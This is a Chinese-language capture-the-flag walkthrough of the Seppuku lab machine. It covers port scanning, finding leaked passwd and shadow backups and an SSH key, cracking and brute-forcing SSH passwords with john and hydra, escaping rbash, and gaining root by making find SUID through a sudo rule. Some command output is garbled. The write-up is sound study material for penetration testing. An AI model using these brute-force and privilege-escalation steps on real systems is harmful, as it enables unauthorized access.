OSCP系列靶场-Esay-Seppuku保姆级

OSCP系列靶场-Esay-Seppuku

目录

  • OSCP系列靶场-Esay-Seppuku
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 21-FTP端口的信息收集
        • 21-FTP版本版本信息
        • 21-FTP端口匿名登录测试(失败)
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH手动登录尝试(无)
        • 22-SSH弱口令爆破(静静等待)
      • 445-SMB端口的信息收集
        • 445-SMB是否无需密码探测
      • 80-HTTP端口的信息收集(待定)
      • 7601-HTTP端口的信息收集
        • 信息收集-HTML隐藏信息查看
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
        • 信息收集-目录访问
          • /ckeditor/端点
          • /database/端点
          • /secret/端点
        • 敏感文件查看
    • 漏洞利用-getwebshell
      • john爆破shadom加密密码登录ssh(失败)
        • 22-SSH账号密码登录
      • hyrda爆破ssh密码
        • 22-SSH账号密码登录
    • 内网遨游-getshell
      • SSH连接受限伪终端逃逸
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 检测当前用户的权限
        • 列举出所有的sudo文件
        • 列举出所有suid文件
        • /etc/passwd权限收集
        • /etc/shadow权限收集
        • getcap标志进程收集
        • 列举定时任务
        • 确认/home目录下信息
          • 确认当前用户home目录下是否有隐藏文件
        • sudo -l权限收集
      • 转机
      • tanto登录
        • rbash逃逸
      • 权限提升
      • suid-find提权
      • FLAG2获取
    • 总结

总结

getwebshell : 目录扫描 → 发现密码字典 → 发现用户名seppuku → 发现id_rsa → 利用hyrda爆破用户名用户名seppuku 用发现的密码字典 → 进入内网

提 权 思 路 : 发现隐藏的敏感信息 → 用户samurai的密码 → 登录samurai → 发现sudo提权 → 需要tanto用户下创建文件 → 利用之前发现的id_rsa登录tanto → 创建提权文件 → samurai利用sudo提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.188

OSCP系列靶场-Esay-Seppuku保姆级_第1张图片

  • 启动靶机
    获取目标机器IP → 192.168.178.90

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.178.90

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
7080/tcp open  empowerid
7601/tcp open  unknown
8088/tcp open  radan-http

OSCP系列靶场-Esay-Seppuku保姆级_第2张图片
开放的端口-→21,22,80,139,445,7080,7601,8088
看上去开放的端口挺多 主要还是21、80、445以后其他的http端口

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80,139,445,7080,7601,8088 192.168.178.90

PORT     STATE SERVICE        VERSION                 
21/tcp   open  ftp            vsftpd 3.0.3                       
22/tcp   open  ssh            OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp   open  http           nginx 1.14.2                       139/tcp  open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: 445/tcp  open  V         Samba smbd 4.9.5-Debian (workgroup: 7080/tcp open  ssl/empowerid?
7601/tcp open  http           Apache httpd 2.4.38 ((Debian))
8088/tcp open  http           LiteSpeed httpd

OSCP系列靶场-Esay-Seppuku保姆级_第3张图片

OSCP系列靶场-Esay-Seppuku保姆级_第4张图片

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为vsftpd 3.0.3

# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf
21-FTP端口匿名登录测试(失败)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.178.90
Name: anonymous

如果后面没思路的话就来爆破ftp

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本
msf6 → searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.178.90 -v

显示publickeypassword就是支持密钥以及密码登录

OSCP系列靶场-Esay-Seppuku保姆级_第5张图片

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.178.90 -p 22
# 密码尝试
password → root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.178.90 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

OSCP系列靶场-Esay-Seppuku保姆级_第6张图片

445-SMB端口的信息收集

445-SMB是否无需密码探测

连接成功则SMB没有开启密码

# 利用-L查看SMB的内容
smbclient -L //192.168.178.90

OSCP系列靶场-Esay-Seppuku保姆级_第7张图片
没找到什么内容

80-HTTP端口的信息收集(待定)

访问 http://192.168.178.90:80 发现需要登录才可以访问

OSCP系列靶场-Esay-Seppuku保姆级_第8张图片

7601-HTTP端口的信息收集

访问 http://192.168.178.90:7601 发现是一张图片

OSCP系列靶场-Esay-Seppuku保姆级_第9张图片

信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.178.90:7601

得到了一个名词Seppuku,如果没思路的话大概率这个就是用户名

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.178.90:7601 -x 302,403

OSCP系列靶场-Esay-Seppuku保姆级_第10张图片
因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/ckeditor/端点

一个编辑器的界面,点了没啥

OSCP系列靶场-Esay-Seppuku保姆级_第11张图片

/database/端点

没东西

OSCP系列靶场-Esay-Seppuku保姆级_第12张图片

/secret/端点

有很多内容,下载下来进行查看

OSCP系列靶场-Esay-Seppuku保姆级_第13张图片

敏感文件查看
# 首先下载
wget http://192.168.178.90:7601/secret/[文件]

OSCP系列靶场-Esay-Seppuku保姆级_第14张图片
图片先放一边

OSCP系列靶场-Esay-Seppuku保姆级_第15张图片
获得一个主机名seppuku

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat hostname 
seppuku

得到一个疑似/etc/passwd的备份

┌──(root㉿Kali)-[/home/bachang/Seppuku]                          
└─# cat passwd.bak                                               
root:x:0:0:root:/root:/bin/bash        
...
thpot:x:122:65534:Honeypot user,,,:/usr/share/thpot:/dev/null
postfix:x:123:128::/var/spool/postfix:/usr/sbin/nologin      
nm-open:x:124:130:NetworkManager OpenVPN,,,:/var/lib/open/chroot:/usr/sbin/nologin             
statd:x:125:65534::/var/lib/nfs:/usr/sbin/nologin                
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin             
nm-openconnect:x:127:131:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
rabbit-hole:x:1001:1001:,,,:/home/rabbit-hole:/bin/bash    

得到一个账户名rabbit-hole

OSCP系列靶场-Esay-Seppuku保姆级_第16张图片
得到一个疑似/etc/shadow的备份

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat shadow.bak          
root:!:18327:0:99999:7::: 
daemon:*:17937:0:99999:7::: 
....                                
r @bbit-hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:18395:0:99999:7:::   

得到该用户加密密码$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt

OSCP系列靶场-Esay-Seppuku保姆级_第17张图片
得到一个密码字典password.lst

漏洞利用-getwebshell

john爆破shadom加密密码登录ssh(失败)

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# echo '$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..' → pass.hash

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# john pass.hash     

a1b2c3           (?)     

得到账户rabbit-hole的密码a1b2c3

OSCP系列靶场-Esay-Seppuku保姆级_第18张图片

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh rabbit-hole @192.168.178.90 -p22
password → a1b2c3

hyrda爆破ssh密码

因为我们有一本系统的密码字典,尝试爆破用户seppuku

sudo hydra -l seppuku -P password.lst -t 6 -vV 192.168.178.90 ssh -s 22

爆破出来密码是eeyoree

OSCP系列靶场-Esay-Seppuku保姆级_第19张图片

OSCP系列靶场-Esay-Seppuku保姆级_第20张图片

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh seppuku @192.168.178.90 -p22
password → eeyoree

OSCP系列靶场-Esay-Seppuku保姆级_第21张图片

内网遨游-getshell

进入之后发现是rbash需要进行逃逸

SSH连接受限伪终端逃逸

SSH连接到远程服务器上发现各种命令受限利用-t逃逸

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh seppuku @192.168.178.90 -p22 -t "bash --noprofile"
password → eeyoree
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

FLAG1获取

seppuku @seppuku:~$ find / -name local.txt 2→/dev/null
/home/seppuku/local.txt
seppuku @seppuku:~$ cat /home/seppuku/local.txt
3dc090a738a7e01f80f592abe2a9e284

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
seppuku @seppuku:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

seppuku @seppuku:~$ uname -a
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
seppuku @seppuku:~$ id
uid=1000(seppuku) gid=1000(seppuku) groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
seppuku @seppuku:~$ sudo -l
Matching Defaults entries for seppuku on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User seppuku may run the following commands on seppuku:
    (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/

   (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/

查阅了一下是建立连接与覆盖 ,没有什么好的绕过思路

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

OSCP系列靶场-Esay-Seppuku保姆级_第22张图片

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

seppuku @seppuku:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1585 May 13  2020 /etc/passwd

顺手查了一下里面有没有之前读出来的另一个用户,发现没有

OSCP系列靶场-Esay-Seppuku保姆级_第23张图片

/etc/shadow权限收集
  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
seppuku @seppuku:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1253 Aug 31  2020 /etc/shadow
getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
seppuku @seppuku:~$ /usr/sbin/getcap -r / 2→/dev/null
/usr/bin/ping = cap_net_raw+ep
列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

OSCP系列靶场-Esay-Seppuku保姆级_第24张图片

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破
看到了3个用户,其余两个用户可以尝试制作字典以及弱口令爆破

seppuku @seppuku:~$ ls -al /home
total 20
drwxr-xr-x  3 samurai samurai 4096 Jul  8  2020 samurai
drwxr-xr-x  3 seppuku seppuku 4096 Jul 30 04:16 seppuku
drwxr-xr-x  4 tanto   tanto   4096 Sep  1  2020 tanto
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
seppuku @seppuku:~$ ls -al /home/seppuku
total 36
drwxr-xr-x 3 seppuku seppuku 4096 Jul 30 04:16 .
drwxr-xr-x 5 root    root    4096 May 13  2020 ..
-rw------- 1 seppuku seppuku  338 Jul 30 04:16 .bash_history
-rw-r--r-- 1 seppuku seppuku  220 May 13  2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13  2020 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13  2020 .gnupg
-rw-r--r-- 1 seppuku seppuku   33 Jul 30 03:43 local.txt
-rw-r--r-- 1 root    root      20 May 13  2020 .passwd
-rw-r--r-- 1 seppuku seppuku  807 May 13  2020 .profile

看到了一个.passwd的文件进行查看

seppuku @seppuku:~$ cat .passwd
12345685213456! @! @A#CTL{n}```#CTL{n}得到了一个密码进行尝试#CTL{n}```shell#CTL{n}# root提权(失败)
seppuku @seppuku:~$ su
Password: 
su: Authentication failure
# samurai登录成功
seppuku @seppuku:~$ su samurai
Password: 
sudo -l权限收集
samurai @seppuku:/home/seppuku$ sudo -l
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

通过这条命令发现可以sudo执行/home/tanto/.cgi_bin/bin/tmp/*
由于/tmp利用ln/root绑了,所以主要是在tanto用户下创建

发现这样用户也是rbash受限,并且我们还需要知道tanto用户的密码才行

转机

tanto登录

OSCP系列靶场-Esay-Seppuku保姆级_第25张图片
通过目录扫描发现新的端点

OSCP系列靶场-Esay-Seppuku保姆级_第26张图片
下载之后获得了ssh的密钥

OSCP系列靶场-Esay-Seppuku保姆级_第27张图片
尝试base64解码不清楚归属

OSCP系列靶场-Esay-Seppuku保姆级_第28张图片
推测是tanto

sudo chmod 600 private
sudo ssh -i private tanto @192.168.178.90 -p22

成功登录

OSCP系列靶场-Esay-Seppuku保姆级_第29张图片

rbash逃逸

发现受限shell需要进行逃逸

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh -i private tanto @192.168.178.90 -p22 -t "bash --noprofile"
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

发现没有对应目录,创建新的目录

OSCP系列靶场-Esay-Seppuku保姆级_第30张图片

权限提升

suid-find提权

写入切换bash的命令写入到bin文件中

echo '#!/bin/sh
chmod +s /usr/bin/find' → bin

执行提示命令没发现,samurai可能也要绕过rbash

OSCP系列靶场-Esay-Seppuku保姆级_第31张图片

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh samurai @192.168.178.90 -p22 -t "bash --noprofile"
password → 12345685213456! @! @A#CTL{n}```#CTL{n}最后发现是建错文件夹,命令敲错了
```shell
# 利用suid的find提权
samurai @seppuku:~$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai @seppuku:~$ find . -exec /bin/bash -p \; -quit
bash-5.0# id
uid=1001(samurai) gid=1002(samurai) euid=0(root) egid=0(root) groups=0(root),1002(samurai)
bash-5.0# 

提权成功

OSCP系列靶场-Esay-Seppuku保姆级_第32张图片

FLAG2获取

bash-5.0# cat /root/proof.txt
4a24681381de4d623801b1e8cb243a64

完结撒花~

总结

在目录扫描的时候没扫全,导致后续不是很连贯,接下来在目录扫描的时候可以用两个扫描器进行扫描对比,是否会存在遗漏

你可能感兴趣的:(OSCP,网络,web安全,网络安全,安全)